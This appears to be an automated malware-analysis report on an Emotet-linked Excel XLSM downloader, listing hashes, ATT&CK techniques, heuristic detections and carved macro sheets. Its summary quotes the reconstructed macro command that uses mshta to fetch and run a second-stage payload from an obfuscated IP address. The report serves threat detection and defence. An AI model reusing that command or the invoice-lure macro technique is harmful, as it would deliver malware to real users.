Emotet — Office (OOXML) / .XLSM malware analysis

Static analysis result for SHA-256 e4b4b4aeffb795fb…

MALICIOUS

Office (OOXML) / .XLSM

115.8 KB Created: 2022-01-19 18:30:24 UTC Authoring application: Microsoft Excel 16.0300
MD5: 940d02bede13657e074bdcdb46c18892 SHA-1: 58937f378e9d53be618ab06deca8db2c9cf4a173 SHA-256: e4b4b4aeffb795fbbac1cd7bf7465c6fd98c0906401fdb3a90ecca0ce903b3c4
258 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1059.001 PowerShell T1105 Ingress Tool Transfer

This malicious XLSM file utilizes Excel 4.0 macros, specifically the dangerous EXEC and HALT functions, to download and execute a second-stage payload. The script reconstructs the command 'cmd /c msh^t^a h^tt^p^:/^/0x5cff39c3/sec/se1.html', indicating it attempts to fetch content from the specified URL and execute it. The presence of invoice-related text in the document body, combined with the macro's download and execution capabilities, strongly suggests a downloader for further malicious activity, consistent with Emotet's typical distribution methods.

Heuristics 7

  • Excel 4.0 macro sheet (3 sheet(s)) critical OOXML_XLM_MACROSHEET
    Spreadsheet contains an Excel 4.0 (XLM) macro sheet — XLM was a major Office malware vector during 2020-2022 and evaded many VBA-focused controls before Microsoft tightened XLM defaults. Even legitimate XLM use is rare in modern workbooks.
  • Excel 4.0 Auto_Open defined name critical OOXML_XLM_AUTOOPEN_DEFINEDNAME
    Workbook defines _xlnm.Auto_Open or _xlnm.Auto_Close while containing an XLM macro sheet. This is the OOXML/XLSB auto-execution shape for Excel 4.0 macros.
  • Dangerous XLM formula APIs: EXEC, HALT critical OOXML_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet uses formula APIs that call directly into Win32 (=CALL/=EXEC/=REGISTER/=FORMULA). These are the primitives used to download payloads, write files, and start processes from an XLM macro without invoking VBA.
  • ClamAV: Xls.Downloader.EmotetExcel01220-9936739-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Downloader.EmotetExcel01220-9936739-0
  • Hidden worksheet (hidden) low OOXML_HIDDEN_SHEET
    Excel workbook contains 4 hidden sheet(s) — hidden sheets are commonly used to conceal macro code, staging data, or intermediate payload construction
  • Fake invoice / payment lure low SE_INVOICE_LURE
    Document contains invoice or payment language paired with an action verb — useful context when combined with link, macro, or attachment indicators
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/spreadsheetml/2006/main
    • http://schemas.microsoft.com/office/excel/2006/main
    • http://schemas.openxmlformats.org/officeDocument/2006/relationships
    • http://schemas.openxmlformats.org/markup-compatibility/2006
    • http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac
    • http://schemas.microsoft.com/office/spreadsheetml/2014/revision
    • http://schemas.microsoft.com/office/spreadsheetml/2015/revision2
    • http://schemas.microsoft.com/office/spreadsheetml/2016/revision3
    • http://schemas.microsoft.com/office/spreadsheetml/2016/revision6

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_sheet_00.xml
c1622bb80274cc8ed04d23560af8010a40daa043900958e290e422b4ea97bce3		 xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/sheet1.xml 1793 bytes
xlm_sheet_01.xml
34df557a4264643e04826099857eec235e89f2ca36dac5385be0c73ed1b1dfe5		 xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/sheet2.xml 1086 bytes
xlm_sheet_02.xml
c1a67afdf06fee625909f1fea6d48d49f9c71a5bcf019cff1d07cdb3f0a81aa1		 xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/sheet3.xml 1086 bytes

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